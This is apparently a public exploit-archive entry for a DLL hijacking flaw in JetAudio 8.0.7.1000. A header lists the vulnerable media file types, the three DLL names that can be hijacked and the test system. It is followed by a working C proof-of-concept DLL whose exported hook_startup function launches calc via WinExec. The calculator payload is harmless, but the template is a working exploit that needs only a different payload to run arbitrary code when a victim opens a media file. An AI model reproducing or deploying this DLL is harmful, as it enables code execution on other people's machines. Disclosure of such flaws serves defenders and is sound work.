JetAudio 8.0.7.1000 DLL Hijacking Exploit

#
#######
#
# Title: JetAudio 8.0.7.1000 DLL Hijacking Exploit
#
# Author: 4n0nym0us (Arash Sa'adatfar)
#
# Developer: Cowon
#
# Version:8.0.7.1000
#
# Vulnerable extensions: mp3,wav,mp4,mpg,swf
#
# Vulnerable Dlls: mfc90enu.dll,mfc90loc.dll,wnaspi32.dll
#
# Tested On: Windows XP Sp3
#
#
#
########

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void hook_startup() { exp(); }
int exp()
{
WinExec("calc", 0);
exit(0);
return 0;
}



http://securityreason.com/exploitalert/10370